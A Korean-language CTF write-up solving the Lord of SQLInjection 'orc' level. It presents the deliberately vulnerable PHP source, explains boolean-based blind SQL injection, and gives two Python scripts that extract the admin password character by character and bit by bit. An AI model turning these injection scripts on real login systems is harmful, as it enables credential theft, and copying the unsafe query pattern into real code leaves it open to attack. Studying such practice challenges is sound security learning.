LOS Lv.4 orc
orc
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
query : select id from prob_orc where id='admin' and pw=''
<?php
include "./config.php";
login_chk();
$db = dbconnect();
if(preg_match('/prob|_|\.|\(\)/i', $_GET[pw])) exit("No Hack ~_~");
$query = "select id from prob_orc where id='admin' and pw='{$_GET[pw]}'";
echo "<hr>query : <strong>{$query}</strong><hr><br>";
$result = @mysqli_fetch_array(mysqli_query($db,$query));
if($result['id']) echo "<h2>Hello admin</h2>";
$_GET[pw] = addslashes($_GET[pw]);
$query = "select pw from prob_orc where id='admin' and pw='{$_GET[pw]}'";
$result = @mysqli_fetch_array(mysqli_query($db,$query));
if(($result['pw']) && ($result['pw'] == $_GET['pw'])) solve("orc");
highlight_file(__FILE__);
?>
Solution
1
2
3
pw 값이 있어야하고, pw 값이 내 입력값과 동일해야함.
즉, 비밀번호를 알아내야한다는 소리임.
비밀번호는 Blind sql injection을 이용해서 알 수 있음.
1
2
3
우선 비밀번호 길이를 알아내야 함. mysql에 length 함수가 있음.
?pw=' or id='admin' and length(pw) < 2 이런 식으로 해서 찾으면 됨.
비밀번호 길이는 8이 나올꺼임.
1
2
3
4
5
이제 비밀번호 값을 알아내야 함. 한 글자씩 알아낼거임.
mysql에는 substr 함수가 있음. 이 함수를 이용해 한 글자씩 잘라서 알아내야함.
하지만 문제는 mysql은 대소문자 구분이 없음. 매우 중요한 사실임.
하지만 ascii 함수를 통해 ascii 값을 비교하여 더욱 정확하게 알아낼 수 있음.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
import requests
url='https://los.rubiya.kr/chall/orc_60e5b360f95c1f9688e4f3a86c5dd494.php'
headers={'Content-Type':'application/x-www-form-urlencoded'}
cookies={'PHPSESSID':'[redacted]'}
pw=''
for i in range(1,9) :
for j in range(48,123) :
payload={'pw':"' or id='admin' and ascii(substr(pw,"+str(i)+",1))="+str(j)+"#"}
res=requests.get(url,headers=headers, params=payload, cookies=cookies)
if "Hello admin" in res.text :
pw+=chr(j)
print("pw : "+pw)
break
# pw : 095a9852
하지만 이런 방식은 너무 느림. 따라서 비트 단위로 비교하는 방법을 사용할 꺼임.
1
2
3
4
5
비밀번호 한 자리씩 잘라서 2진수 형태로 변환하여 비트 길이를 구하면
비트 길이만큼 0인지 1인지만 검사하면 됨
--> 웬만하면 6자리(숫자) 또는 7자리(알파벳)이므로 위 코드보다 요청이 좀 줄어듦.
비트값을 구해서 10진수로 바꾸고 다시 문자로 바꿔주면 됨.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
import requests
url='https://los.rubiya.kr/chall/orc_60e5b360f95c1f9688e4f3a86c5dd494.php'
headers={'Content-Type':'application/x-www-form-urlencoded'}
cookies={'PHPSESSID':'[redacted]'}
bit_val=''
pw=''
for i in range(1,9) :
payload={'pw':"' or id='admin' and length(bin(ascii(substr(pw,"+str(i)+",1))))=7 #"}
res=requests.get(url,headers=headers, params=payload, cookies=cookies)
if "Hello admin" in res.text :
bit_len=7
else :
bit_len=6
for j in range(1,bit_len+1) :
payload={'pw':"' or id='admin' and substr(bin(ascii(substr(pw,"+str(i)+",1))),"+str(j)+",1)=0 #"}
res=requests.get(url,headers=headers, params=payload, cookies=cookies)
if "Hello admin" in res.text :
bit_val+='0'
else :
bit_val+='1'
pw+=chr(int(bit_val,2))
bit_val=''
print("pw :",pw)
# 1분 10초 정도 걸림. 위에껀 1분 20초 넘어감.
This post is licensed under CC BY 4.0 by the author.